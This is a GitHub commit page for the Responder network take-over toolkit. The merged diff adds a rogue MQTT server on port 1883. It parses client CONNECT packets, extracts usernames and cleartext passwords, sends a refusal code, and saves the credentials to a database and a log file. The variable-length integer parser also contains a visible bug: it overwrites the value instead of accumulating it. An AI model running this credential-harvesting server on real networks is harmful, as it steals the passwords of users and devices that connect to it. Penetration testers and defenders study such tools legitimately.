Merge pull request #236 from NullByteZero/master

Implemented MQTT server
This commit is contained in:
lgandx 2023-08-13 11:17:58 -03:00 committed by GitHub
commit 56e5fa0d29
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
6 changed files with 231 additions and 0 deletions

View file

@ -16,6 +16,7 @@ LDAP = On
DCERPC = On
WINRM = On
SNMP = Off
MQTT = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)

View file

@ -351,6 +351,10 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))
if settings.Config.MQTT_On_Off:
from servers.MQTT import MQTT
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,)))
if settings.Config.SMTP_On_Off:
from servers.SMTP import ESMTP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,)))

View file

@ -800,6 +800,24 @@ class IMAPCapabilityEnd(Packet):
("CRLF", "\r\n"),
])
##### MQTT Packets #####
class MQTTv3v4ResponsePacket(Packet):
fields = OrderedDict([
("Type", "\x20"),
("Len", "\x02"),
("Session", "\x00"),
("Code", "\x04"),
])
class MQTTv5ResponsePacket(Packet):
fields = OrderedDict([
("Type", "\x20"),
("Len", "\x03"),
("Session", "\x00"),
("Code", "\x86"),
("Prop", "\x00"),
])
##### POP3 Packets #####
class POPOKPacket(Packet):
fields = OrderedDict([

205
servers/MQTT.py Normal file
View file

@ -0,0 +1,205 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import settings, NetworkSendBufferPython2or3, SaveToDb
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import MQTTv3v4ResponsePacket, MQTTv5ResponsePacket
#Read N byte integer
def readInt(data, offset, numberOfBytes):
value = int.from_bytes(data[offset:offset+numberOfBytes], 'big')
offset += numberOfBytes
return (value, offset)
#Read binary data
def readBinaryData(data, offset):
#Read number of bytes
length, offset = readInt(data, offset, 2)
#Read bytes
value = data[offset:offset+length]
offset += length
return (value, offset)
#Same as readBinaryData() but without reading data
def skipBinaryDataString(data, offset):
length, offset = readInt(data, offset, 2)
offset += length
return offset
#Read UTF-8 encoded string
def readString(data, offset):
value, offset = readBinaryData(data, offset)
return (value.decode('utf-8'), offset)
#Read variable byte integer
#(https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901011)
def readVariableByteInteger(data, offset):
multiplier = 1
value = 0
while True:
encodedByte = data[offset]
offset += 1
value = (encodedByte & 127) * multiplier
if (multiplier > 128 * 128 * 128):
return None
multiplier *= 128
if(encodedByte & 128 == 0):
break
return (value, offset)
class MqttPacket:
USERNAME_FLAG = 0x80
PASSWORD_FLAG = 0x40
WILL_FLAG = 0x04
def __init__(self, data):
self.__isValid = True
controllPacketType, offset = readInt(data, 0, 1)
#check if CONNECT packet type
if controllPacketType != 0x10:
self.__isValid = False
return
#Remaining length
remainingLength, offset = readVariableByteInteger(data, offset)
#Protocol name
protocolName, offset = readString(data, offset)
#Check protocol name
if protocolName != "MQTT" and protocolName != "MQIsdp":
self.__isValid = False
return
#Check protocol version
self.__protocolVersion, offset = readInt(data, offset, 1)
#Read connect flag register
connectFlags, offset = readInt(data, offset, 1)
#Read keep alive (skip)
offset += 2
#MQTTv5 implements properties
if self.__protocolVersion > 4:
#Skip all properties
propertiesLength, offset = readVariableByteInteger(data, offset)
offset+=propertiesLength
#Get Client ID
self.clientId, offset = readString(data, offset)
if (self.clientId == ""):
self.clientId = "<Empty>"
#Skip Will
if (connectFlags & self.WILL_FLAG) > 0:
#MQTT v5 implements properties
if self.__protocolVersion > 4:
willProperties, offset = readVariableByteInteger(data, offset)
#Skip will properties
offset = skipBinaryDataString(data, offset)
offset = skipBinaryDataString(data, offset)
#Get Username
if (connectFlags & self.USERNAME_FLAG) > 0:
self.username, offset = readString(data, offset)
else:
self.username = "<Empty>"
#Get Password
if (connectFlags & self.PASSWORD_FLAG) > 0:
self.password, offset = readString(data, offset)
else:
self.password = "<Empty>"
def isValid(self):
return self.__isValid
def getProtocolVersion(self):
return self.__protocolVersion
def data(self, client):
return {
'module': 'MQTT',
'type': 'Cleartext',
'client': client,
'hostname': self.clientId,
'user': self.username,
'cleartext': self.password,
'fullhash': self.username + ':' + self.password
}
class MQTT(BaseRequestHandler):
def handle(self):
CONTROL_PACKET_TYPE_CONNECT = 0x10
try:
data = self.request.recv(2048)
#Read control packet type
controlPacketType, offset = readInt(data, 0, 1)
#Skip non CONNECT packets
if controlPacketType != CONTROL_PACKET_TYPE_CONNECT:
return
#Parse connect packet
packet = MqttPacket(data)
#Skip if it contains invalid data
if not packet.isValid():
#Return response
return
#Send response packet
if packet.getProtocolVersion() < 5:
responsePacket = MQTTv3v4ResponsePacket()
else:
responsePacket = MQTTv5ResponsePacket()
self.request.send(NetworkSendBufferPython2or3(responsePacket))
#Save to DB
SaveToDb(packet.data(self.client_address[0]))
except Exception:
raise
pass

View file

@ -125,6 +125,7 @@ class Settings:
self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP'))
self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP'))
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
self.MQTT_On_Off = self.toBool(config.get('Responder Core', 'MQTT'))
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
@ -207,6 +208,7 @@ class Settings:
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt')
self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt')
self.MQTTLog = os.path.join(self.LogDir, 'MQTT-Clear-Text-Password-%s.txt')
self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt')
self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt')
self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt')

View file

@ -506,6 +506,7 @@ def StartupMessage():
print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled))
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
print(' %-27s' % "MQTT server" + (enabled if settings.Config.MQTT_On_Off else disabled))
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))